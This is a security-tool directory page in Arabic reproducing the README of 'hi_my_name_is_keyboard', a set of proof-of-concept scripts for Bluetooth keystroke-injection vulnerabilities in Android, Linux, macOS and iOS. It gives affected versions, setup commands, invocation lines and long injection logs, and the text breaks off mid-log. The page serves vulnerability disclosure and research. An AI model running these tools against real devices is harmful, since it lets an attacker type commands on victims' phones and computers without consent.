Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
hi_my_name_is_keyboard — إثباتات مفهوم (PoCs) لاستغلال حقن ضغطات المفاتيح عبر البلوتوث للثغرات CVE-2023-45866 وCVE-2024-21306 وCVE-2024-0230، تستهدف Android وLinux وmacOS وiOS عبر لوحات مفاتيح HID محاكاة. | Kitploit
أدوات/GitHubGitHub/marcnewlin/hi_my_name_is_keyboard
أمان أندرويدأمن البلوتوثأمان iOSالاستغلالأمن الشبكات اللاسلكيةأمن الجوالأمان الأجهزة وإنترنت الأشياءالهجوم العدائي

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
marcnewlin/hi_my_name_is_keyboard

hi_my_name_is_keyboard

إثباتات مفهوم (PoCs) لاستغلال حقن ضغطات المفاتيح عبر البلوتوث للثغرات CVE-2023-45866 وCVE-2024-21306 وCVE-2024-0230، تستهدف Android وLinux وmacOS وiOS عبر لوحات مفاتيح HID محاكاة.

عرض المستودع
731113منذ 2 سنواتتمت المراجعة من قبل Kitploit

مرحبًا، اسمي لوحة المفاتيح

يحتوي هذا المستودع على نصوص برمجية لإثبات المفهوم للثغرات CVE-2023-45866 وCVE-2024-21306 وCVE-2024-0230. يمكن العثور على تفاصيل إضافية في منشور المدونة.

إثبات المفهومالوصف
حقن ضغطات المفاتيح في أندرويديفرض إقران لوحة مفاتيح Bluetooth افتراضية بجهاز أندرويد ضعيف ويحقن ضغطات لمفتاح tab لمدة 10 ثوانٍ.
حقن ضغطات المفاتيح في لينكسيفرض إقران لوحة مفاتيح Bluetooth افتراضية بمضيف لينكس ويحقن ضغطات لمفتاح tab لمدة 10 ثوانٍ.
حقن ضغطات المفاتيح في ماك أو إسيفرض إقران لوحة مفاتيح Bluetooth افتراضية بمضيف macOS ويحقن ضغطات مفاتيح لفتح متصفح ويب وإجراء بحث في Google.
حقن ضغطات المفاتيح في آي أو إسيفرض إقران لوحة مفاتيح Bluetooth افتراضية بمضيف iOS ويحقن ضغطات مفاتيح لفتح متصفح ويب والانتقال إلى عنوان URL.
حقن ضغطات المفاتيح في ويندوزيفرض إقران لوحة مفاتيح Bluetooth افتراضية بمضيف ويندوز ويحقن ضغطات لمفتاح tab.
مفتاح ارتباط Magic Keyboard عبر منفذ Lightningيقرأ مفتاح ارتباط Bluetooth من منفذ Lightning على Magic Keyboard.
مفتاح ارتباط Magic Keyboard عبر Bluetoothيقرأ مفتاح ارتباط Bluetooth من خدمة HID عبر Bluetooth غير الموثّقة على Magic Keyboard.
مفتاح ارتباط Magic Keyboard عبر منفذ USB على جهاز Macيقرأ مفتاح ارتباط Bluetooth للوحة مفاتيح Magic المستهدفة عن طريق انتحال هوية لوحة المفاتيح عبر USB إلى جهاز Mac المرتبط بها.

التبعيات

من المعروف أن هذه النصوص تعمل على جهاز مضيف يعمل بنظام Ubuntu 22.04 مع محول Bluetooth قائم على Broadcom.

استخدمت بشكل أساسي هذا المحول: https://www.amazon.com/Kinivo-USB-Bluetooth-4-0-Compatible/dp/B007Q45EF4``` Bus 001 Device 026: ID 0a5c:21e8 Broadcom Corp. BCM20702A0 Bluetooth 4.0

root@kitploit:~
بدءًا من تثبيت نظيف لـ Ubuntu 22.04، يمكن تثبيت التبعيات باستخدام الأوامر التالية.```
# update apt
sudo apt-get update
sudo apt-get -y upgrade

# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
                    git gcc python3-pip python3-setuptools \
                    python3-pydbus

# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install

# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/

حقن ضغطات المفاتيح

حقن ضغطات المفاتيح على أندرويد

أجهزة أندرويد معرّضة للخطر قبل مستوى تصحيح الأمان الصادر بتاريخ 2023-12-05.

عندما تكون ميزة Bluetooth مفعّلة على جهاز أندرويد غير مُحدَّث، يمكن للمهاجم إقران لوحة مفاتيح Bluetooth محاكاة وحقن ضغطات المفاتيح دون تأكيد من المستخدم. هذا هجوم بدون أي نقرة (zero-click) يعمل whenever تكون Bluetooth مفعّلة.

الإصدارات المتأثرة

تؤثر هذه الثغرة على أندرويد ~4.2.2 والإصدارات الأحدث.

  • أندرويد 4.2.2 - 10 لن يتم تصحيحها
  • أندرويد 11 - 14 تتوفر لها تصحيحات (مستوى تصحيح الأمان 2023-12-05)
  • تم تصحيح Pixel 6 و7 و8
  • لا تزال Pixel 5 والإصدارات الأقدم معرّضة للخطر

الحالة الابتدائية

  • ميزة Bluetooth مفعّلة على جهاز أندرويد المستهدف

تشغيل إثبات المفهوم (PoC)

شغّل إثبات المفهوم مستهدفًا جهاز أندرويد 5C:F3:70:AA:07:BD باستخدام الواجهة hci1.``` ./keystroke-injection-android-linux.py -i hci1 -t 5C:F3:70:AA:07:BD

root@kitploit:~
إذا نجحت العملية، سيحقن الـ PoC حمولة من ضغطات مفتاح `tab` لمدة 10 ثوانٍ.

#### مثال على الإخراج```
> ./keystroke-injection-android-linux.py -i hci1 -t 5C:F3:70:AA:07:BD
[2024-01-07 11:03:01.329]  executing 'sudo service bluetooth restart'
[2024-01-07 11:03:01.959]  configuring Bluetooth adapter
[2024-01-07 11:03:01.963]  calling RegisterProfile
[2024-01-07 11:03:01.966]  running dbus loop
[2024-01-07 11:03:02.096]  executing 'sudo hciconfig hci1 name Hi, My Name is Keyboard'
[2024-01-07 11:03:02.108]  executing 'hciconfig hci1 name'
[2024-01-07 11:03:02.128]  executing 'sudo hciconfig hci1 class 0x002540'
[2024-01-07 11:03:02.141]  executing 'hciconfig hci1 class'
[2024-01-07 11:03:02.144]  executing 'hcitool name 5C:F3:70:AA:07:BD'
[2024-01-07 11:03:02.877]  connecting to SDP
[2024-01-07 11:03:02.877]  connecting to 5C:F3:70:AA:07:BD on port 1
[2024-01-07 11:03:03.832]  SUCCESS! connected on port 1
[2024-01-07 11:03:03.832]  executing 'sudo btmgmt --index hci1 io-cap 1'
[2024-01-07 11:03:03.847]  executing 'sudo btmgmt --index hci1 ssp 1'
[2024-01-07 11:03:03.858]  connected to SDP (L2CAP 1) on target
[2024-01-07 11:03:03.865]  'NoInputNoOutput' pairing-agent is running
[2024-01-07 11:03:04.111]  connecting to 5C:F3:70:AA:07:BD on port 19
[2024-01-07 11:03:04.864]  ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:03:04.864]  connecting to 5C:F3:70:AA:07:BD on port 17
[2024-01-07 11:03:04.932]  SUCCESS! connected on port 17
[2024-01-07 11:03:04.932]  connecting to HID Interrupt
[2024-01-07 11:03:04.932]  connecting to 5C:F3:70:AA:07:BD on port 19
[2024-01-07 11:03:05.008]  SUCCESS! connected on port 19
[2024-01-07 11:03:05.008]  connected to HID Interrupt (L2CAP 19) on target
[2024-01-07 11:03:05.008]  connected to HID Control (L2CAP 17) on target
[2024-01-07 11:03:05.009]  [RX-17] 9000
[2024-01-07 11:03:05.009]  [TX-17] 00
[2024-01-07 11:03:05.065]  [RX-19] a20101
[2024-01-07 11:03:05.259]  [TX-19] a101000000000000000000
[2024-01-07 11:03:05.259]  injecting Tab keypresses for 10 seconds
[2024-01-07 11:03:05.259]  [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.264]  [TX-19] a101000000000000000000
[2024-01-07 11:03:05.318]  [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.323]  [TX-19] a101000000000000000000
[2024-01-07 11:03:05.377]  [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.382]  [TX-19] a101000000000000000000
[2024-01-07 11:03:05.436]  [TX-19] a10100002b000000000000
...
[2024-01-07 11:03:15.261]  [TX-19] a101000000000000000000
[2024-01-07 11:03:15.319]  payload has been transmitted; disconnecting Bluetooth HID client
[2024-01-07 11:03:15.321]  taking 'hci1' offline

حقن ضغطات المفاتيح في لينكس

أنظمة لينكس المضيفة التي تشغّل BlueZ 5 معرّضة للخطر قبل طرح التصحيحات في حوالي ديسمبر 2023. تعتمد أرقام الإصدارات المحددة على توزيعة لينكس.

عندما يكون مضيف لينكس غير مصحح قابلًا للاكتشاف والاتصال عبر بلوتوث، يمكن للمهاجم إقران لوحة مفاتيح بلوتوث مُحاكاة وحقن ضغطات المفاتيح دون تأكيد من المستخدم. هذا هجوم بدون نقر يعمل كلما كان المضيف قابلًا للاكتشاف والاتصال.

الإصدارات المتأثرة

يُفهم أن هذه الثغرة تؤثر على توزيعات لينكس غير المصححة التي تستخدم التكوين الافتراضي لـ BlueZ 5.

صرّحت Google بأن ChromeOS لم يتأثر بهذه الثغرة، وعلى الرغم من عدم اختبار ChromeOS ضمن هذا البحث، فإن تكوين BlueZ الخاص به يبدو أنه يمنع الهجوم.

تشمل التوزيعات المتأثرة Ubuntu وDebian وGentoo وArch وFedora وRed Hat وYocto وAmazon Linux. قد تتأثر إصدارات متعددة، وعلى سبيل المثال، قامت Ubuntu بتصحيح الإصدارات 16.04 و18.04 و20.04 و22.04 و23.04 و23.10.

الحالة الابتدائية

  • يكون مضيف لينكس الهدف قابلًا للاكتشاف والاتصال عبر بلوتوث.
  • عادةً ما تكون أنظمة لينكس المضيفة قابلة للاكتشاف والاتصال عندما تكون لوحة إعدادات البلوتوث مفتوحة.

تشغيل PoC

شغّل PoC مستهدفًا مضيف لينكس 58:28:39:E6:AE:1C باستخدام الواجهة hci1.``` ./keystroke-injection-android-linux.py -i hci1 -t 58:28:39:E6:AE:1C

root@kitploit:~
في حال نجاح الاستغلال، سيقوم الـ PoC بحقن حمولة من ضغطات مفتاح `tab` لمدة 10 ثوانٍ.

#### مثال على المخرجات```
> ./keystroke-injection-android-linux.py -i hci1 -t 58:28:39:E6:AE:1C
[2024-01-07 11:00:08.955]  executing 'sudo service bluetooth restart'
[2024-01-07 11:00:09.586]  configuring Bluetooth adapter
[2024-01-07 11:00:09.590]  calling RegisterProfile
[2024-01-07 11:00:09.595]  running dbus loop
[2024-01-07 11:00:09.725]  executing 'sudo hciconfig hci1 name Hi, My Name is Keyboard'
[2024-01-07 11:00:09.738]  executing 'hciconfig hci1 name'
[2024-01-07 11:00:09.759]  executing 'sudo hciconfig hci1 class 0x002540'
[2024-01-07 11:00:09.771]  executing 'hciconfig hci1 class'
[2024-01-07 11:00:09.774]  executing 'hcitool name 58:28:39:E6:AE:1C'
[2024-01-07 11:00:10.399]  connecting to SDP
[2024-01-07 11:00:10.400]  connecting to 58:28:39:E6:AE:1C on port 1
[2024-01-07 11:00:12.984]  SUCCESS! connected on port 1
[2024-01-07 11:00:12.984]  executing 'sudo btmgmt --index hci1 io-cap 1'
[2024-01-07 11:00:12.992]  executing 'sudo btmgmt --index hci1 ssp 1'
[2024-01-07 11:00:13.001]  connected to SDP (L2CAP 1) on target
[2024-01-07 11:00:13.011]  'NoInputNoOutput' pairing-agent is running
[2024-01-07 11:00:13.253]  connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.020]  ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.020]  connecting to 58:28:39:E6:AE:1C on port 17
[2024-01-07 11:00:15.296]  SUCCESS! connected on port 17
[2024-01-07 11:00:15.296]  connecting to HID Interrupt
[2024-01-07 11:00:15.296]  connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.296]  [RX-17] 15
[2024-01-07 11:00:15.500]  ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.500]  connecting to HID Interrupt
[2024-01-07 11:00:15.501]  connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.636]  ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.636]  connecting to HID Interrupt
[2024-01-07 11:00:15.638]  connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.764]  ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.764]  connecting to HID Interrupt
[2024-01-07 11:00:15.766]  connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.784]  ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.784]  connecting to HID Interrupt
[2024-01-07 11:00:15.785]  connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.832]  ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.832]  connecting to HID Interrupt
[2024-01-07 11:00:15.833]  connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.880]  ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.880]  connecting to HID Interrupt
[2024-01-07 11:00:15.881]  connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:16.160]  ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:16.160]  connecting to HID Interrupt
[2024-01-07 11:00:16.161]  connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:16.300]  ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:16.300]  connecting to HID Interrupt
[2024-01-07 11:00:16.301]  connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:16.580]  SUCCESS! connected on port 19
[2024-01-07 11:00:16.580]  connected to HID Interrupt (L2CAP 19) on target
[2024-01-07 11:00:16.580]  connecting to HID Control
[2024-01-07 11:00:16.580]  connecting to 58:28:39:E6:AE:1C on port 17
[2024-01-07 11:00:16.859]  SUCCESS! connected on port 17
[2024-01-07 11:00:16.860]  connected to HID Control (L2CAP 17) on target
[2024-01-07 11:00:16.860]  [RX-17] 4190
[2024-01-07 11:00:16.860]  [TX-17] 00
[2024-01-07 11:00:17.110]  [TX-19] a101000000000000000000
[2024-01-07 11:00:17.110]  injecting Tab keypresses for 10 seconds
[2024-01-07 11:00:17.111]  [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.115]  [TX-19] a101000000000000000000
[2024-01-07 11:00:17.170]  [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.174]  [TX-19] a101000000000000000000
[2024-01-07 11:00:17.229]  [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.233]  [TX-19] a101000000000000000000
[2024-01-07 11:00:17.288]  [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.292]  [TX-19] a101000000000000000000
[2024-01-07 11:00:17.347]  [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.352]  [TX-19] a101000000000000000000
[2024-01-07 11:00:17.406]  [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.410]  [TX-19] a101000000000000000000
[2024-01-07 11:00:17.465]  [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.469]  [TX-19] a101000000000000000000
[2024-01-07 11:00:17.524]  [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.528]  [TX-19] a101000000000000000000
[2024-01-07 11:00:17.583]  [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.587]  [TX-19] a101000000000000000000
[2024-01-07 11:00:17.642]  [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.646]  [TX-19] a101000000000000000000
[2024-01-07 11:00:17.701]  [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.705]  [TX-19] a101000000000000000000
[2024-01-07 11:00:17.759]  [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.764]  [TX-19] a101000000000000000000
[2024-01-07 11:00:17.818]  [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.823]  [TX-19] a101000000000000000000
[2024-01-07 11:00:17.877]  [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.882]  [TX-19] a101000000000000000000
[2024-01-07 11:00:17.936]  [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.941]  [TX-19] a101000000000000000000
[2024-01-07 11:00:17.995]  [TX-19] a10100002b000000000000
[2024-01-07 11:00:18.000]  [TX-19] a101000000000000000000
[2024-01-07 11:00:18.054]  [TX-19] a10100002b000000000000
[2024-01-07 11:00:18.059]  [TX-19] a101000000000000000000
[2024-01-07 11:00:18.113]  [TX-19] a10100002b000000000000
[2024-01-07 11:00:18.118]  [TX-19] a101000000000000000000
[2024-01-07 11:00:18.172]  [TX-19] a10100002b000000000000
...
[2024-01-07 11:00:27.102]  [TX-19] a101000000000000000000
[2024-01-07 11:00:27.157]  payload has been transmitted; disconnecting Bluetooth HID client
[2024-01-07 11:00:27.157]  taking 'hci1' offline

حقن ضغطات المفاتيح في macOS

عندما يحاول جهاز Mac الاتصال بلوحة مفاتيح Magic Keyboard مقترنة عبر Bluetooth، يمكن للمهاجم انتحال لوحة Magic Keyboard أمام جهاز Mac، وإقران لوحة مفاتيح Bluetooth افتراضية، وحقن ضغطات المفاتيح دون تأكيد من المستخدم.

يتضمن هذا الهجوم عنصر توقيت، حيث يجب على المهاجم الاتصال بجهاز Mac في اللحظة الدقيقة التي يحاول فيها Mac الاتصال بلوحة Magic Keyboard.

يعمل الـ PoC المرفق عند فصل لوحة Magic Keyboard من جهاز Mac الخاص بها (بعد الشحن أو الإقران مثلاً). يستخدم الـ PoC خدمة Bluetooth SDP على جهاز Mac كقناة جانبية لملاحظة حدث الفصل وتشغيل الهجوم. هذا هجوم بدون نقرات يتطلب مراقبة فصل لوحة Magic Keyboard من جهاز Mac.

الإصدارات المتأثرة

  • macOS 14 معرّض للخطر قبل الإصدار 14.2
  • macOS 13 و12 معرّضان للخطر ولا يُتوقع إصدار تصحيحات لهما
  • macOS 11 والإصدارات الأقدم لم يتم اختبارها

الحالة الابتدائية

  • تم تفعيل Bluetooth على جهاز Mac.
  • لوحة Magic Keyboard قيد التشغيل وموصولة بجهاز Mac عبر كبل Lightning-إلى-USB.
  • يحقن الـ PoC ضغطات المفاتيح لفتح متصفح ويب وإجراء بحث على Google. من الممكن أيضاً حقن ضغطات المفاتيح على شاشة تسجيل الدخول، لكن هذا الـ PoC يفترض أن جهاز Mac في جلسة نشطة.

تشغيل الـ PoC```

./keystroke-injection-macos.py --help usage: keystroke-injection-macos.py [-h] -i INTERFACE -t TARGET_ADDRESS -k KEYBOARD_ADDRESS

options: -h, --help show this help message and exit -i INTERFACE, --interface INTERFACE -t TARGET_ADDRESS, --target_address TARGET_ADDRESS -k KEYBOARD_ADDRESS, --keyboard_address KEYBOARD_ADDRESS

root@kitploit:~
##### الاستدعاء```
./keystroke-injection-macos.py -i hci1 -t 50:DE:06:A8:E1:CA -k 1C:57:DC:88:55:02
المخرجات```

[2024-01-07 12:25:43.777] executing 'sudo service bluetooth restart' [2024-01-07 12:25:44.324] configuring Bluetooth adapter [2024-01-07 12:25:44.461] executing 'sudo hciconfig hci1 name Hi, My Name is Keyboard' [2024-01-07 12:25:44.474] executing 'hciconfig hci1 name' [2024-01-07 12:25:44.493] executing 'sudo hciconfig hci1 class 0x002540' [2024-01-07 12:25:44.506] executing 'hciconfig hci1 class' [2024-01-07 12:25:44.509] executing 'sudo bdaddr -i hci1 1C:57:DC:88:55:02' [2024-01-07 12:25:44.649] executing 'hciconfig hci1' [2024-01-07 12:25:44.652] connecting to SDP [2024-01-07 12:25:44.652] connecting to 50:DE:06:A8:E1:CA on port 1 [2024-01-07 12:25:45.776] SUCCESS! connected on port 1 [2024-01-07 12:25:45.776] executing 'sudo btmgmt --index hci1 io-cap 1' [2024-01-07 12:25:45.788] executing 'sudo btmgmt --index hci1 ssp 1' [2024-01-07 12:25:45.795] connected to SDP (L2CAP 1) on target [2024-01-07 12:25:45.795]


| Unplug the Magic Keyboard from the Mac to trigger the attack |

[2024-01-07 12:25:46.014] b'HCI sniffer - Bluetooth packet analyzer ver 5.64\n' [2024-01-07 12:25:46.015] b'device: hci1 snap_len: 1500 filter: 0xffffffffffffffff\n' [2024-01-07 12:25:46.017] b'> HCI Event: Number of Completed Packets (0x13) plen 5\n' [2024-01-07 12:25:46.018] b' handle 11 packets 1\n' [2024-01-07 12:25:47.296] b'> ACL data: handle 11 flags 0x02 dlen 12\n' [2024-01-07 12:25:47.297] b' L2CAP(s): Connect req: psm 1 scid 0x0506\n' [2024-01-07 12:25:47.337] connecting to HID Control [2024-01-07 12:25:47.337] connecting to 50:DE:06:A8:E1:CA on port 17 [2024-01-07 12:25:47.788] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 12:25:47.788] connecting to HID Control [2024-01-07 12:25:47.799] connecting to 50:DE:06:A8:E1:CA on port 17 [2024-01-07 12:25:47.908] SUCCESS! connected on port 17 [2024-01-07 12:25:47.908] connected to HID Control (L2CAP 17) on target [2024-01-07 12:25:47.908] connecting to HID Interrupt [2024-01-07 12:25:47.908] connecting to 50:DE:06:A8:E1:CA on port 19 [2024-01-07 12:25:47.976] SUCCESS! connected on port 19 [2024-01-07 12:25:47.976] connected to HID Interrupt (L2CAP 19) on target [2024-01-07 12:25:47.976] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.012] [RX-17] 71 [2024-01-07 12:25:48.013] [TX-17] 00 [2024-01-07 12:25:48.048] [RX-17] 53c601180121 [2024-01-07 12:25:48.048] [TX-17] 00 [2024-01-07 12:25:48.084] [RX-17] 53ffbb [2024-01-07 12:25:48.084] [TX-17] 00 [2024-01-07 12:25:48.116] [RX-17] 43f0 [2024-01-07 12:25:48.116] [TX-17] 00 [2024-01-07 12:25:48.159] [RX-17] 53ff90 [2024-01-07 12:25:48.160] [TX-17] 00 [2024-01-07 12:25:48.192] [RX-17] 41f0 [2024-01-07 12:25:48.192] [TX-17] 00 [2024-01-07 12:25:48.228] [RX-17] 53ff34 [2024-01-07 12:25:48.228] [TX-17] 00 [2024-01-07 12:25:48.265] [RX-17] 43f0 [2024-01-07 12:25:48.265] [TX-17] 00 [2024-01-07 12:25:48.296] [RX-17] 53ff90 [2024-01-07 12:25:48.296] [TX-17] 00 [2024-01-07 12:25:48.308] [RX-17] 41f0 [2024-01-07 12:25:48.309] [TX-17] 00 [2024-01-07 12:25:48.344] [RX-17] 53ffe0 [2024-01-07 12:25:48.344] [TX-17] 00 [2024-01-07 12:25:48.376] [RX-17] 43f0 [2024-01-07 12:25:48.376] [TX-17] 00 [2024-01-07 12:25:48.413] [RX-17] 53ff14 [2024-01-07 12:25:48.413] [TX-17] 00 [2024-01-07 12:25:48.456] [RX-17] 43f0 [2024-01-07 12:25:48.456] [TX-17] 00 [2024-01-07 12:25:48.492] [RX-17] 53ffc5 [2024-01-07 12:25:48.493] [TX-17] 00 [2024-01-07 12:25:48.528] [RX-17] 43f0 [2024-01-07 12:25:48.528] [TX-17] 00 [2024-01-07 12:25:48.572] [RX-17] 53ff02 [2024-01-07 12:25:48.573] [TX-17] 00 [2024-01-07 12:25:48.607] [RX-17] 43f1 [2024-01-07 12:25:48.608] [TX-17] 00 [2024-01-07 12:25:48.644] [RX-19] a2f10100 [2024-01-07 12:25:48.645] injecting payload [2024-01-07 12:25:48.645] [TX-19] a1010800e32c0000000000 [2024-01-07 12:25:48.646] [RX-19] a2f10100 [2024-01-07 12:25:48.647] [RX-19] a2f10100 [2024-01-07 12:25:48.649] [RX-19] a2f10100 [2024-01-07 12:25:48.650] [RX-19] a2f10100 [2024-01-07 12:25:48.653] [RX-17] 53ff03 [2024-01-07 12:25:48.653] [TX-17] 00 [2024-01-07 12:25:48.680] [RX-17] 43f1 [2024-01-07 12:25:48.680] [TX-17] 00 [2024-01-07 12:25:48.896] [TX-19] a101000017000000000000 [2024-01-07 12:25:48.900] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.905] [TX-19] a101000008000000000000 [2024-01-07 12:25:48.909] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.914] [TX-19] a101000015000000000000 [2024-01-07 12:25:48.918] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.922] [TX-19] a101000010000000000000 [2024-01-07 12:25:48.927] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.931] [TX-19] a10100000c000000000000 [2024-01-07 12:25:48.936] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.940] [TX-19] a101000011000000000000 [2024-01-07 12:25:48.944] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.949] [TX-19] a101000004000000000000 [2024-01-07 12:25:48.953] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.958] [TX-19] a10100000f000000000000 [2024-01-07 12:25:48.962] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.966] [TX-19] a101000028000000000000 [2024-01-07 12:25:48.971] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.225] [TX-19] a101010006e00000000000 [2024-01-07 12:25:49.230] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.234] [TX-19] a101000012000000000000 [2024-01-07 12:25:49.239] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.244] [TX-19] a101000013000000000000 [2024-01-07 12:25:49.248] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.252] [TX-19] a101000008000000000000 [2024-01-07 12:25:49.256] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.261] [TX-19] a101000011000000000000 [2024-01-07 12:25:49.265] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.269] [TX-19] a10100002c000000000000 [2024-01-07 12:25:49.274] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.278] [TX-19] a101020034e10000000000 [2024-01-07 12:25:49.283] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.287] [TX-19] a10100000b000000000000 [2024-01-07 12:25:49.291] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.296] [TX-19] a101000017000000000000 [2024-01-07 12:25:49.300] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.304] [TX-19] a101000017000000000000 [2024-01-07 12:25:49.309] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.313] [TX-19] a101000013000000000000 [2024-01-07 12:25:49.318] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.322] [TX-19] a101000016000000000000 [2024-01-07 12:25:49.327] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.331] [TX-19] a101020033e10000000000 [2024-01-07 12:25:49.335] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.340] [TX-19] a101000038000000000000 [2024-01-07 12:25:49.344] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.349] [TX-19] a101000038000000000000 [2024-01-07 12:25:49.353] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.358] [TX-19] a10100000a000000000000 [2024-01-07 12:25:49.362] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.367] [TX-19] a101000012000000000000 [2024-01-07 12:25:49.371] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.376] [TX-19] a101000012000000000000 [2024-01-07 12:25:49.380] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.385] [TX-19] a10100000a000000000000 [2024-01-07 12:25:49.389] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.393] [TX-19] a10100000f000000000000 [2024-01-07 12:25:49.398] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.402] [TX-19] a101000008000000000000 [2024-01-07 12:25:49.407] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.411] [TX-19] a101000037000000000000 [2024-01-07 12:25:49.416] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.420] [TX-19] a101000006000000000000 [2024-01-07 12:25:49.424] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.429] [TX-19] a101000012000000000000 [2024-01-07 12:25:49.433] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.438] [TX-19] a101000010000000000000 [2024-01-07 12:25:49.442] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.447] [TX-19] a101000038000000000000 [2024-01-07 12:25:49.451] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.455] [TX-19] a101000016000000000000 [2024-01-07 12:25:49.460] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.464] [TX-19] a101000008000000000000 [2024-01-07 12:25:49.468] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.473] [TX-19] a101000004000000000000 [2024-01-07 12:25:49.477] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.482] [TX-19] a101000015000000000000 [2024-01-07 12:25:49.486] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.491] [TX-19] a101000006000000000000 [2024-01-07 12:25:49.495] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.499] [TX-19] a10100000b000000000000 [2024-01-07 12:25:49.504] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.508] [TX-19] a101020038e10000000000 [2024-01-07 12:25:49.513] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.517] [TX-19] a101000014000000000000 [2024-01-07 12:25:49.522] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.526] [TX-19] a10100002e000000000000 [2024-01-07 12:25:49.531] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.535] [TX-19] a101000017000000000000 [2024-01-07 12:25:49.540] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.544] [TX-19] a10100000b000000000000 [2024-01-07 12:25:49.549] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.553] [TX-19] a10100000c000000000000 [2024-01-07 